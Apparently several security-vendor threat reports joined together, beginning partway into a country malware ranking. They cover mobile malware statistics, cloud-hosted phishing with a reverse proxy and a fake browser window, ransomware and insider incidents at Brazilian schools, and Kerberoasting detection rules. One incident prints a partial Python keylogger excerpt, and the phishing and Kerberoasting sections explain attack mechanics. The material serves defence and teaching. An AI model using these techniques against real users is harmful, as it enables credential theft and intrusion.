11.71
2
India
7.40
3
Tajikistan
7.13
4
Venezuela
7.05
5
New Zealand
6.58
6
Vietnam
6.34
7
Taiwan
6.28
8
Belgium
6.24
9
France
5.97
10
Hungary
5.92
11
Nepal
5.91
12
Portugal
5.86
13
Italy
5.77
14
Costa Rica
5.72
15
Canada
5.65
16
Qatar
5.61
17
Dominican Republic
5.52
18
Palestine
5.48
19
Greece
5.47
20
UAE
5.43
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.
In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
46.38
2
Cuba
29.70
3
Tajikistan
28.46
4
Afghanistan
28.19
5
Yemen
27.85
6
Burundi
26.82
7
Mozambique
25.01
8
Republic of the Congo
24.88
9
Syria
23.17
10
Uzbekistan
22.49
11
China
21.92
12
Nicaragua
21.60
13
Cameroon
21.47
14
Bangladesh
20.43
15
Democratic Republic of the Congo
20.25
16
Algeria
19.78
17
Uganda
19.48
18
Ethiopia
18.57
19
Tanzania
18.54
20
Mali
18.53
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.
The mobile section of the quarterly cyberthreat report includes statistics on malware, adware, and potentially unwanted software for Android, as well as descriptions of the most notable threats for Android and iOS discovered during the reporting period. These statistics are based on detection alerts from Kaspersky products, collected from users who consented to provide statistical data to Kaspersky Security Network.
The quarter in figures
According to Kaspersky Security Network, in Q2 2026:
More than 1.99 million attacks on mobile devices utilizing malware, adware, or unwanted mobile software were blocked.
The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications.
More than 304,000 malicious installation packages were discovered, including:
93,574 packages were related to mobile banking Trojans;
570 packages were related to mobile ransomware Trojans.
Quarterly highlights
Attacks on mobile devices involving malware, adware, or unwanted software continued their downward trend, falling to 1,996,823 in Q2 from 2,676,328 the previous quarter.
Attacks on users of Kaspersky mobile solutions, Q4 2024 — Q2 2026 (download)
We noted a downward trend in attacks driven by specific strains of pre-installed Trojans — a shift likely tied to the rollout of patched vendor firmware.
In Q2, our telemetry uncovered multiple malicious loaders hosted directly on Google Play. As highlighted in a prior report (link in Russian), one such instance involved a PDF reader app trojanized to drop the Anatsa banking malware. Upon execution, the app presented users with a fake request to install an update, which served as a front to stage the banking Trojan on the victim’s device.
Another notable case involves a loader we detected in the Cleanova app alongside several others. The malware sent requests to a command-and-control server containing telemetry gathered from various SDKs that track the installation source. A malicious payload was returned only for certain sources. This is a fairly interesting method for bypassing app store review processes while ensuring precise victim targeting. If an analytics SDK indicates that an arbitrary installation originated from a source outside the threat actors’ scope, the malicious logic remains dormant. This effectively hides the malware from app store scanners.
Mobile threat statistics
In Q2, the number of Android malware samples totaled 304,128. It remained steady compared to the previous reporting period.
The detected installation packages were distributed by type as follows:
Detected mobile apps by type, Q1 — Q2 2026* (download)
* Data for the previous quarter may differ slightly from previously published data due to certain verdicts being retrospectively revised.
While the number of newly discovered banking Trojan variants fell precipitously, they continued to dominate the threat landscape as they did in Q1. Notably, the share of Creduz malware family among identified banking samples has grown significantly despite low activity in victim telemetry. This discrepancy suggests the threat actors are actively iterating on the malware — likely testing new features or bypasses — by generating a high volume of builds before staging a broader campaign.
Share* of users attacked by the given type of malicious or potentially unwanted apps out of all targeted users of Kaspersky mobile products, Q1 — Q2 2026 (download)
* The total may exceed 100% if the same users experienced multiple attack types.
Within the adware category, the sharpest declines were observed in the HiddenAd and MobiDash families. Meanwhile, the proportion of users targeted by Trojan-Dropper malware increased, primarily driven by surges in banking droppers such as Trojan-Dropper.AndroidOS.Banker and Trojan-Dropper.AndroidOS.Mamont. The corresponding drop in the Trojan-Banker category is partially explained by a shift in tactics: several banking Trojans which are now being packed were subsequently reclassified as droppers.
TOP 20 most frequently detected types of mobile malware
Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.
Verdict
%* Q1 2026
%* Q2 2026
Difference in p.p.
Change in ranking
Backdoor.AndroidOS.Triada.ag
7.09
9.35
+2.25
0
DangerousObject.Multi.Generic.
5.84
5.65
-0.19
0
DangerousObject.AndroidOS.GenericML.
5.51
5.25
-0.26
0
Trojan.AndroidOS.Boogr.gsh
2.15
3.33
+1.18
+9
Backdoor.AndroidOS.Triada.z
3.08
3.23
+0.15
+3
Trojan-Banker.AndroidOS.Mamont.hl
1.10
2.48
+1.38
+22
Trojan.AndroidOS.Fakemoney.v
3.44
2.31
-1.13
-2
Trojan-Spy.AndroidOS.Btmob.e
0.00
2.27
+2.27
Trojan.AndroidOS.Triada.fe
2.98
2.18
-0.81
0
Trojan-Dropper.AndroidOS.Banker.dd
0.01
2.16
+2.15
Trojan.AndroidOS.Triada.hf
2.23
1.93
-0.29
+1
Backdoor.AndroidOS.Triada.ad
1.40
1.93
+0.53
+8
Backdoor.AndroidOS.Keenadu.a
2.73
1.88
-0.85
-3
Backdoor.AndroidOS.Triada.ab
1.72
1.79
+0.07
+2
Trojan-Banker.AndroidOS.Mamont.iv
1.03
1.63
+0.60
+16
Trojan.AndroidOS.Generic.
1.32
1.47
+0.15
+7
Backdoor.AndroidOS.Triada.ae
1.76
1.44
-0.31
-2
Trojan.AndroidOS.Fakemoney.ej
0.00
1.43
+1.43
Trojan.AndroidOS.Triada.ii
2.07
1.41
-0.66
-5
Trojan-Spy.AndroidOS.Agent.asa
0.02
1.38
+1.36
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The distribution of top malware families in Q2 largely mirrors the rankings from the previous reporting period. Newer variants of the Mamont banking Trojan climbed the leaderboards, displacing older iterations. This shift points to ongoing, active development of new variants by the threat actors behind the malware.
Mobile banking Trojans
In Q2, the total volume of Trojan-Banker applications dropped sharply compared to the previous quarter, totaling 93,574 installation packages.
Number of installation packages for mobile banking Trojans detected by Kaspersky, Q2 2025 — Q2 2026 (download)
Against the backdrop of this trend, the distribution shifted heavily toward Creduz Trojans. However, as noted earlier, this shift was not reflected in real-world attack metrics: virtually the entire leaderboard by proportion of targeted users continues to be dominated by diverse Mamont variants.
TOP 10 mobile bankers
Verdict
%* Q1 2026
%* Q2 2026
Difference in p.p.
Change in ranking
Trojan-Banker.AndroidOS.Mamont.hl
3.27
11.13
+7.86
+6
Trojan-Banker.AndroidOS.Mamont.iv
3.08
7.33
+4.25
+6
Trojan-Banker.AndroidOS.Mamont.mv
0.00
5.12
+5.12
Trojan-Banker.AndroidOS.Agent.ws
3.78
4.99
+1.22
+2
Trojan-Banker.AndroidOS.Mamont.mg
0.35
4.71
+4.36
+62
Trojan-Banker.AndroidOS.Faketoken.pac
2.56
4.10
+1.54
+6
Trojan-Banker.AndroidOS.Mamont.jo
15.75
3.73
-12.02
-6
Trojan-Banker.AndroidOS.Mamont.mc
0.83
3.51
+2.67
+26
Trojan-Banker.AndroidOS.Mamont.lf
0.00
2.79
+2.79
Trojan-Banker.AndroidOS.Agent.eq
0.89
2.58
+1.69
+23
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.
Threat actors are increasingly exploiting legitimate cloud services to evade detection and streamline the deployment of their scam infrastructure. Cloud hosting services and decentralized networks have become primary platforms for hosting phishing pages and sites. Throughout 2025 and 2026, we have observed phishing operators steadily migrate toward platforms like Cloudflare Workers, Vercel, Netlify, GitHub Pages, and IPFS. This post analyzes the mechanics of a real-life adversary-in-the-middle (AitM) attack in a cloud environment and presents detailed statistics on the platforms and domains phishers abuse most frequently.
The cloud as a safe haven for phishers
Threat actors select platform-as-a-service (PaaS) offerings and distributed cloud environments to host phishing sites for much the same reasons legitimate software developers do:
Inherent trust and reputation. Phishing pages hosted on reputable platforms appear trustworthy, reducing suspicion among potential victims.
Most platforms offer generous free-tier developer plans. The onboarding process takes minutes and rarely requires Know Your Customer (KYC) identity verification. This enables a single operator to create hundreds of malicious accounts.
Evasion and anonymity. Attackers leverage native security features to obscure their true origin server IP address behind a CDN, which complicates detection for security vendors.
Additionally, these platforms allocate shared subdomains hosting millions of legitimate projects and websites. Security teams cannot simply block the parent domain or its subdomains without inflicting collateral damage on bona fide users – a limitation that malicious actors take advantage of. To counter this tactic, security vendors must advance content-based analysis methodologies.
Multi-stage AitM attack
Consider a modern AitM phishing campaign that leverages Cloudflare Workers, a widely adopted cloud platform. The attackers execute the operation through multiple HTML pages distributed across a compromised website and the cloud platform. Each page serves a specific function: harvesting target email addresses, initializing the reverse-proxy infrastructure, or spoofing the login form to capture multi-factor authentication (MFA) sessions.
Stage 1. Contact harvesting and network monitoring evasion
The attack typically begins with a phishing email that uses a plausible pretext – such as a request from a coworker to review documents – to entice the target into clicking a malicious link.
Upon clicking the link, the user is redirected to a fake CAPTCHA landing page hosted on a compromised legitimate website. This specific campaign used the https://t[REDACTED]e.com website, but any other variations are possible. In this scenario, the compromised page served as a disposable relay — vendor detection mechanisms typically block phishing links delivered directly via email much faster — to prevent the early discovery of the core phishing content hosted on Cloudflare.
If the user entered their email address and clicked Continue, the pseudo-CAPTCHA marked them as a human user and initiated a redirect. The primary objective of this stage is to harvest target email addresses, filter out bots, and route legitimate users to a subdomain of workers.dev. Such subdomains are generated automatically and free of charge by Cloudflare Workers. The victim’s email address was embedded in the URL hash (the part of the URL following the # character), allowing the page at [REDACTED].workers.dev to extract the email without issuing a request to the attacker’s server, thereby avoiding detection.
Stage 2. Initializing a transparent proxy
The user’s browser then loaded a [REDACTED].workers.dev page with #user@business.com at the end of the URL. At this point, the page presented the victim with a genuine CAPTCHA challenge. This step ensured that an actual user was interacting with the page rather than a security sandbox.
Another CAPTCHA, this time a legitimate one
Once the user successfully completed the challenge, a service worker was registered in their browser. This is a special JavaScript file capable of running in the background and intercepting all network requests generated by the current tab. As this type of script was designed as a core component of progressive web apps (PWAs) to optimize load times and support offline functionality, browsers treat service workers as standard site feature and execute them without prompting for user consent as long as the website uses an HTTPS connection.
The attackers leveraged the service worker to deploy Ultraviolet, a legitimate open-source web proxy library, to dynamically rewrite all links and forms on the page. This forced every outgoing request – including those for Microsoft login credentials – to route through the attackers’ server rather than directly to the legitimate services.
Immediately upon loading, the page extracted the victim’s email address from the URL hash and stored it in the browser’s sessionStorage property so it would not be overwritten when the CAPTCHA loaded. This step also allowed the script to pre-fill the username field in the form automatically. A pre-populated login field enhanced the page’s credibility and bolstered user trust. Once the CAPTCHA was passed, the malicious script constructed a redirect URL for the third stage, appending the email retrieved from sessionStorage back to the hash. By passing the email via the URL hash across three consecutive stages, the attackers successfully kept it hidden from network attack detection systems.
Registering a service worker to intercept traffic
Establishing a transparent proxy via an external library
Stage 3. Session hijacking and browser window spoofing
The final stage unfolded on a third page, combining adversary-in-the-middle (AitM) traffic interception with a browser-in-the-browser (BitB) UI spoofing technique. BitB attacks operate by rendering a block inside a legitimate webpage that visually mimics a native browser pop-up window.
In this case, the script hosted on the attacker’s page generated a pop-up visually identical to a native browser window, complete with window controls and a spoofed address bar showing a trusted Microsoft URL. Within this simulated window, an iframe loaded the authentic login interface, routed dynamically through the service worker reverse proxy created in Stage 2. When the victim entered their credentials and MFA code into the BitB window, the proxy script intercepted both the credentials and the session tokens. Combining BitB with AitM significantly increases the threat: BitB provides a convincing, trusted visual wrapper (displaying a legitimate URL and branding), while the hidden AitM proxy quietly handles traffic interception and session hijacking behind the scenes.
Upon successful login, the proxy instructs the interface to close the pop-up and redirect the victim to a generic system error page, such as SessionExpired. This minimizes suspicion: the victim assumes a technical glitch occurred and attempts to log in again, unaware that the attacker already has full access to the session.
Cloud platform phishing attack statistics
We analyzed phishing URLs hosted across popular cloud platforms – including Cloudflare, Netlify, and GitHub Pages – over a 12-month period spanning August 2025 to July 2026. The data below outlines trends in unique third-level domains exploited to deliver phishing content. In total, our security solutions blocked 224,984 unique third-level domains on cloud and decentralized services used in phishing attacks within that timeframe.
Based on this telemetry, we compiled a list of the TOP 10 cloud domains most frequently abused in phishing campaigns over the specified period.
Number of phishing links
Unsurprisingly, Cloudflare and Vercel emerged as the undisputed leaders: both offer free tiers, automated SSL certificate issuance, and global CDNs. GitHub Pages ranked third. The widespread legitimate use of the github.io domain complicates bulk blocking efforts, as security teams risk limiting access to non-malicious projects.
Decentralized networks also warrant close attention – we posted on this subject in 2023. The ipfs.io and dweb.link domains function as IPFS gateways. The principal risk associated with these platforms is content persistence: even if a specific gateway gets blocked, the phishing page remains accessible via alternative nodes across the network.
The visual website builders Wix and Webflow also ranked among the TOP 10 (eighth and ninth, respectively). These platforms allow low-skilled individuals to build phishing pages rapidly without advanced coding expertise, which significantly lowers the barrier to entry for less capable malicious actors.
Domain
Number of phishing links
Platform
1
pages.dev
24.9%
Cloudflare Pages
2
vercel.app
13.8%
Vercel
3
github.io
13.7%
GitHub Pages
4
netlify.app
10.0%
Netlify
5
dweb.link
7.8%
IPFS gateway
6
ipfs.io
5.3%
IPFS (InterPlanetary File System)
7
workers.dev
2.5%
Cloudflare Workers
8
wixstudio.com
1.9%
Wix Studio
9
webflow.io
1.0%
Webflow
10
azurewebsites.net
1.0%
Microsoft Azure
Other
17.9%
In total, we identified and neutralized over 390,000 phishing pages hosted across legitimate cloud platforms and decentralized networks (IPFS) over the past 12 months. This data confirms that threat actors actively exploit the implicit trust associated with legitimate PaaS providers (such as Cloudflare Workers, Vercel, Netlify, and GitHub Pages) and IPFS gateways. High domain reputation, generous free tiers, and built-in evasion capabilities enable phishers to deploy multi-stage AitM attacks designed to hijack MFA sessions.
Recommendations
Traditional security controls, such as relying on HTTPS lock icons or reputation-based domain denylists, are inadequate against these attacks. The cloud provider’s apex domain maintains a positive reputation score, while attackers generate malicious subdomains programmatically and at scale.
Effective defense against these threats calls for a layered security posture:
Exercise caution with unexpected requests, even if they are served from reputable domains or secured with valid SSL/TLS certificates.
Treat any CAPTCHA interface requiring personal data input as a possible scam. Legitimate CAPTCHA challenges rarely request personally identifiable information, such as email addresses.
Inspect the URL in the address bar at the very top of the browser window. In BitB attacks, threat actors can render a fake browser pop-up displaying any target URL, even a legitimate one. However, the true address bar – located at the top of the main browser window alongside native navigation controls (Back, Forward, Refresh) – will continue to display the actual attacker-controlled domain.
Avoid entering credentials in pop-ups you did not expect to see. If a login or MFA form appears without your explicit action, close the tab immediately. Navigate to the intended service manually by entering its address directly into the browser.
Additional protection can be provided by Kaspersky Secure Mail Gateway for enterprise environments and Kaspersky Premium for personal correspondence. These robust email security solutions neutralize phishing links at the delivery stage before they reach the inbox.
Because of the amount of data that can be obtained and the high impact that successful attacks may have, educational institutions are frequent targets of cybercriminals. Both public and private schools and universities rely on software for managing personally identifiable information (PII) that is often insecure or insufficiently tested against known vulnerabilities. In addition, machines used by multiple people without accountability can be vulnerable to insider threats.
The complexity of academic environments amplifies this risk. Unlike corporate networks, educational institutions have to provide a network that supports students, professors, researchers, administrative staff, third-party contractors, and visitors. Each of these groups has different security requirements and access control levels, making it difficult to enforce consistent security policies. A security breach can have severe consequences since it may expose vast amounts of sensitive information, such as social security numbers (CPF in Brazil), addresses, phone numbers, and even parents’ names. Armed with this information, attackers can attempt phishing attacks and impersonate the victims in SIM swapping attacks, a common practice in Brazil.
In this article, we provide details about attacks on educational institutions in Brazil observed by our Global Emergency Response Team (GERT) since 2025. We share general statistics, common threats, initial access vectors, and the impact of such violations. Additionally, we present some interesting cases encountered by our team and the identified TTPs. Finally, we offer recommendations to help institutions protect themselves against future attacks.
Key findings and statistics
Our dataset encompasses incident response cases from January 2025 to June 2026. As the chart below shows, the majority of attacks targeted institutions in São Paulo state, Brazil’s most populous state and a significant center of economic and financial activity. We also had cases in Rio de Janeiro and Pernambuco.
Geographical distribution of incident response requests at educational institutions (download)
Of the customers who requested incident response, 60% were private institutions and 40% were public institutions.
The most frequent reasons for requesting IR services were related to suspicious endpoint activities, encrypted files, and the presence of suspicious files.
The high-severity incidents were mainly related to ransomware attacks. Interestingly, private institutions were the most targeted by ransomware, while incidents in public institutions were mostly related to suspicious endpoint activity and privilege escalation attempts. The most common ransomware families found in our dataset were DragonForce and LockBit 3, whose builder was leaked back in 2022. By using the leaked LockBit builder with a valid privileged account, attackers can build variants capable of disabling defenses and erasing logs.
The most common initial access vectors included the use of valid accounts, exploitation of public-facing applications, and insiders.
For privilege escalation, the attackers often relied on Potato variants (GodPotato, SweetPotato, and BadPotato).
We also observed attackers using tools like AnyDesk for remote access, PsExec for lateral movement within compromised infrastructures, and AV-killer malware to terminate the system’s defenses. The latter was mainly used in ransomware-related incidents.
These data reveal an interesting pattern in the threat landscape affecting educational institutions in the region. Many incidents were not caused by highly sophisticated techniques but rather by the abuse of common weaknesses such as valid accounts, exposed applications, and inadequate patch management, as well as the use of publicly available tools that are well-known to the adversaries. The prevalence of ransomware in private institutions suggests a stronger financial motivation, likely because attackers assume these organizations are more capable of paying for data recovery than public schools and universities.
Most attacks were discovered promptly and lasted from a few minutes to a couple of hours. However, technical incident response activities averaged 9.6 hours. This indicates that the impact caused by an incident often extends beyond the timeframe of the active attack, requiring extensive triage and analysis by the forensic investigators to fully restore operations.
One interesting fact is that we are still observing the use of Windows 10 in the infrastructures of educational institutions, even after Microsoft’s official end-of-support date of October 2025. In addition, we found that some customer organizations were using Windows Server 2016 without security patches and fixes. Using outdated and unsupported operating systems increases the attack surface of an infrastructure because attackers can exploit publicly available vulnerabilities to access vulnerable systems and expand their presence in the network. In addition, legacy operating systems may be incompatible with modern evidence collection tools, necessitating extra time and alternative procedures for forensic acquisition.
In one case, we identified the use of a custom version of LockBit that was generated using the leaked builder. The ransomware was delivered to the organization’s infrastructure via a valid account that had been leaked. It encrypted the organization’s internal systems, including file servers and databases that stored student profiles and other data. There was no evidence of data exfiltration from the affected machines.
During our analysis of the LockBit sample, we were able to extract its configuration. Interestingly, it was configured without the impersonation and spreading options. This meant the attacker had to perform manual lateral movement to deploy the malware across the network.
Further analysis revealed that the attacker used PsExec for lateral movement. By analyzing the Update Sequence Number (USN) Journal, we were able to identify .KEY files associated with PsExec that showed us the previously compromised machines used by the attacker.
After gaining access to the target machines, the adversaries deployed a batch script to disable the system’s defenses. Our analysis of this artifact showed that they had the administrative credentials to disable the EDR in place. In addition, the script enabled RDP, which gave the attackers remote access to the target. The listing below shows an excerpt of the script:
Finally, by cross-checking the Prefetch files, we were able to identify the precise dates of PsExecSvc.exe and LBB.exe (LockBit) execution. This revealed that the attacker established the initial connection to the analyzed machine around 5:30am UTC and ran LBB.exe for the last time at 10am UTC on the same day, resulting in an activity window of approximately four hours and thirty minutes. We were able to identify the extent of the compromise and the additional machines that required network isolation for further forensic analysis, containment, and remediation.
Case 02 – DragonForce deployed via AnyDesk
In another incident, we identified a compromised user account that the adversaries used to install the AnyDesk software to enable remote access. Although the attacker erased the system logs after encrypting the victim’s files, we were able to identify the ransomware execution event via the Prefetch and Amcache.hve files, which provided us with the SHA-1 hash of the sample.
Once we obtained the SHA-1 of the malicious artifact (named by the attacker as 1.EXE), we were able to confirm that it was a DragonForce variant. Even though the lack of evidence made the analysis more difficult, this case shows that forensic investigators must be prepared to identify information that the attackers missed or left untouched.
Case 03 – Python keylogger used by an insider
The third incident illustrates how a series of bad practices enabled an insider to collect passwords from other users inside the infrastructure. First, the customer contacted us stating that a machine was exhibiting strange behavior: files containing passwords were being created. We started with triage collection on one of the affected machines.
Evidence from the Program Compatibility Assistant (PCA) showed the execution of two suspicious files, Windows Host Widgets.exe and Windows Host Widgets_.exe, both located in the C:\Users\<user>\.vscode\dlo directory, where <user> represents a user account shared by everyone who uses the machine. The same artifacts were identified within the Amcache.hve file, and multiple executions were also confirmed by analyzing the Prefetch files. Another interesting source of evidence, UserAssist, confirmed that the threat actor also executed both EXE files by double-clicking on them.
MFT analysis showed that multiple log files named cacheX.txt were created in the previously mentioned directory, where X was a number that increased with each malware execution. We then analyzed the EXE files to confirm their behavior. Luckily, both proved to be the same Python script, which we could easily decompile.
As shown in the listing below, the script contains methods and strings with Portuguese names. It is capable of hiding the log files from view in Explorer. The developer also set a procedure to identify when the Caps Lock key was pressed, in order to record the correct passwords.
def get_base_path():
...
def encontrar_proximo_nome(base='cache'):
...
def set_file_hidden(filepath):
...
ctypes.windll.kernel32.SetFileAttributesW(str(filepath), FILE_ATTRIBUTE_HIDDEN)
...
with open(log_file, 'a', encoding='utf-8') as f:
f.write(f'\n\n--- Registro iniciado em {datetime.datetime.now()} ---\n')
set_file_hidden(log_file)
...
def is_capslock_on():
return bool(ctypes.windll.user32.GetKeyState(20) & 1)
...
def on_press(key):
...
def on_release(key):
...
def main():
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if __name__ == '__main__':
main()
This simple script did not implement any persistence or automated data exfiltration mechanisms. Therefore, the insider likely had to manually retrieve the generated log files containing the text typed by the victims. By revisiting the previously collected evidence, we identified USB connections around the same time as the script’s executions. This suggests that removable media was probably used to collect the generated keylogging logs from the environment. As a result of the investigation, the customer changed the passwords of all affected accounts. However, without additional evidence or footage, it was not possible to conclusively attribute the activities to a specific individual and take the appropriate disciplinary and legal measures.
Conclusions and recommendations
The incidents highlighted in this article demonstrate that Brazilian educational institutions face a diverse set of threats, ranging from ransomware operations to insider activity. In many cases, the attackers relied on valid credentials, exposed services, remote access tools, poor patch management, and insufficient endpoint hardening rather than advanced malware or new techniques. Based on these findings, educational institutions should prioritize controls that reduce the likelihood of account compromise and the impact of ransomware deployment. They should also improve forensic visibility after an incident.
Institutions should enforce the use of multi-factor authentication (MFA) for all publicly accessible services, especially VPNs, remote access portals, and email accounts. Since valid accounts were one of the most common initial access vectors observed in our dataset, MFA can significantly reduce the likelihood that stolen or reused credentials alone will compromise the entire environment. We also recommend periodically reviewing privileged accounts, removing unnecessary administrative permissions, and avoiding shared accounts, especially on machines accessed by multiple users, since this makes accountability extremely difficult.
Each user should have their own account, following the principle of least privilege to prevent unauthorized software execution. Additionally, it is advisable to restrict and monitor the use of remote access tools such as AnyDesk or TeamViewer. Unexpected installations or executions of these tools should be treated as high-priority alerts.
To minimize the impact of ransomware, educational institutions should improve their backup and recovery strategy. Backups should be isolated from the primary environment (preferably in more than one location) and tested regularly. Centralized logging, extended EDR telemetry retention, and proper time synchronization across hosts can also improve the ability to reconstruct an attack timeline and implement the necessary response measures.
The use of outdated systems increases the attack surface, so we recommend that organizations adopt an effective update and patch management policy. It is also important to raise security awareness, since users must understand the risks associated with credential sharing, unknown executables, and unauthorized software.
From a digital forensics and incident response (DFIR) perspective, the reviewed incidents demonstrate that effective incident response activities require correlating multiple forensic artifacts in order to reconstruct the attacker’s actions. Investigators should be aware of how to find information even when logs are missing. Many other artifacts are preserved and can be used for this purpose, such as Amcache, PCA, Prefetch, UserAssist, MFT, and USN Journal. The attackers may fail to erase all traces of their activity, so taking a broad forensic approach is of the utmost importance for determining the scope of the compromise and supporting containment and remediation actions.
Observed TTPs
The table below shows the observed TTPs in our dataset, including cases not detailed in this post.
Once the attacker has breached the corporate network, subsequent stages of the attack often involve leveraging standard domain infrastructure protocols: using Kerberos, running DNS queries, accessing internal services, opening network shares, and other common networking actions. Because this activity is virtually indistinguishable from legitimate network traffic, it is extremely difficult to detect it with traditional network attack detection tools.
Kerberoasting and DNS tunneling have long ceased to be exotic techniques. They are becoming standard methods in modern attacks because they allow attackers to execute critical compromise stages while remaining undetected by traditional security tools. A clear example of this trend is seen in latest campaigns, employing both Kerberoasting and DNS tunneling.
Traditional network security tools perform well when the attack features a distinct and identifiable indicator: a characteristic query string, a known malicious traffic pattern, or the source code of an already discovered exploit. While this approach to threat detection remains effective, it cannot always be applied to discovering network attacks that blend seamlessly with legitimate traffic inside a corporate network.
Instead of searching for explicit indicators of attack, Network Anomaly Detection (NAD) analyzes all traffic for suspicious artifacts that deviate from the host’s typical network activity. Within Kaspersky’s solution portfolio, this technology is implemented specifically in the Kaspersky Anti Targeted Attack (KATA) platform.
The system analyzes network traffic data (DNS, DCE/RPC, Kerberos and other packets) and extracts key parameters used to identify anomalous behavior. This approach enables searching for attacks on domain controllers, signs of traffic tunneling and exfiltration, C2 communications, and other scenarios that may point to compromise of network infrastructure.
However, Network Anomaly Detection is not built on a single, universal set of indicators. Each attack scenario employs tailored detection models that account for the specifics of the corresponding network protocol, typical host behavior, and characteristic deviations from that baseline. This article examines two practical examples – detecting Kerberoasting and DNS tunneling – to demonstrate how these principles are implemented in KATA’s NAD rules and why this approach proves more effective than traditional signature-based analysis.
Kerberoasting attack detection by KATA
Why standard tools have a hard time detecting Kerberoasting
The Kerberoasting attack leverages the standard operational logic of the Kerberos protocol. The attacker identifies service accounts configured with a Service Principal Name (SPN), requests a Ticket-Granting Service (TGS) ticket for them, and attempts to crack the password offline using a dictionary attack against the retrieved ticket. If the password is weak or hasn’t been changed in a long time, the adversary can bruteforce it to get it in cleartext. Subsequently, these compromised credentials can be leveraged for both vertical and horizontal movement across the network.
The essence of a Kerberoasting attack is that an adversary possessing a compromised low-privileged account and a valid Ticket-Granting Ticket (TGT) for that account can request TGS tickets with weakened encryption for service accounts with SPNs. Crucially, it doesn’t matter whether the compromised account actually holds access permissions for those services. Having obtained these tickets, the attacker can then take them offline and bruteforce the service account’s password by trying to decrypt the corresponding ticket locally, without generating any network activity. As the encryption key is based on the password hash, the adversary can guess the password upon finding the correct key.
The attacker’s objective is to find a service account that has a simple password. Most likely, this will be an account created manually by the administrators of the infrastructure or a service. This is precisely why attackers are not interested in system service accounts with SPNs (such as CIFS/fileserver.company.local); these are generated automatically and feature highly complex passwords that are impossible to bruteforce.
We should note that the TGS ticket requests made by attackers are identical to standard, legitimate requests. Every domain naturally exhibits a high volume of Kerberos traffic. Therein lies the primary challenge of detecting Kerberoasting: legitimate service ticket requests (TGS-REQ) are indistinguishable from those issued by attackers. Consequently, the primary detection method relies on correlating indirect indicators rather than signature matching. Key indicators include an anomalous request source (atypical host or user account), a surge in requested SPNs within a short time window, attempts to obtain service tickets for sensitive or privileged service accounts, and off-hour timing or unusual request volume when benchmarked against the historical profile of both the user and the host.
Most of these indicators can be detected using NAD technology, which helps analysts cut through high volumes of Kerberos traffic to establish a concrete hypothesis: who initiated the Kerberoasting attack, which service accounts are at risk, and why this activity deviates from the baseline.
In the context of this attack, the network anomaly stems from a single host – likely using a single user account (cname) – receiving TGS tickets ("msg_type": "KRB_TGS_REP") for numerous unique services with SPNs (sname) within a short timeframe. These service accounts are non-system accounts.
Example of a TGS-REQ – TGS-REP event pair from network session attributes
To detect this anomaly, the NAD rule titled “Signs of a Kerberoasting attack” implements the following logic:
From Kerberos network sessions during the search depth period, select only those with a successful Kerberos TGS-REP response, subject to the following conditions:
The IP address that initiated the session must not be excluded in the excl_sip variable.
The requesting client name (cname) must not be included in the excluded users list (excl_users variable).
The SPN (sname) must not be excluded within the rule. System SPNs are omitted from detection logic because they exist across most corporate environments and hold no interest for adversaries in this attack vector; including them in the total count of unique SPNs could lead to predefined threshold being exceeded, triggering false positives.
Extract the cname (the name of the client requesting the TGS-REQ) and sname (SPN itself) from these qualifying sessions.
Group the sessions by the source IP address and client account name (cname), while aggregating sessions with unique SPNs.
Generate an alert if a single IP address using a single client account receives TGS-REP responses for N unique SPN names within the specified search depth window, where N equals or exceeds the threshold variable count_spns.
Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).
We should note that this type of logic cannot be implemented using IDS signatures. Consider creating a Suricata rule designed to detect Kerberos TGS-REP packets. To minimize false positives, we’ll exclude system SPNs (which carry highly complex passwords) and apply a threshold for the number of responses a single client can receive. However, such a rule cannot evaluate the uniqueness of the requested SPNs; it can only track packet counts. As a result, this signature would produce a high volume of false positives because any domain naturally generates large amounts of identical legitimate TGS-REP messages.
Furthermore, adding exclusions and tuning thresholds to fit your specific infrastructure environments is significantly more practical when managed through user variables in the interface rather than directly modifying the underlying structure of the IDS rule itself.
Creating a Network Anomaly Detection rule
Network Anomaly Detection (NAD) rules are written as SQL queries executed against KATA’s ClickHouse database. Below, we demonstrate how to add and deploy a rule.
To begin working with NAD rules, navigate to the “Custom rules” section of the interface and select “Intrusion detection”. Under the “Network Anomaly Detection” tab, you can create a new rule.
The Network Anomaly Detection page UI
When adding a new rule, an analyst can select an appropriate rule template from the prebuilt set supplied with product updates. They can also manually modify the rule added from the template (converting it to a custom rule while keeping the original template intact) or author a rule from scratch using the provided guide.
Upon selecting a template, the analyst can review the rule description and either adjust or leave the default values for the following settings:
Search depth (the lookback window over which the SQL query will run)
Schedule (the execution frequency for running the query against the specified search depth)
Event regeneration period (the timeframe during which identical alerts will be aggregated into a single record rather than displayed as distinct events)
UI for creating a new NAD rule
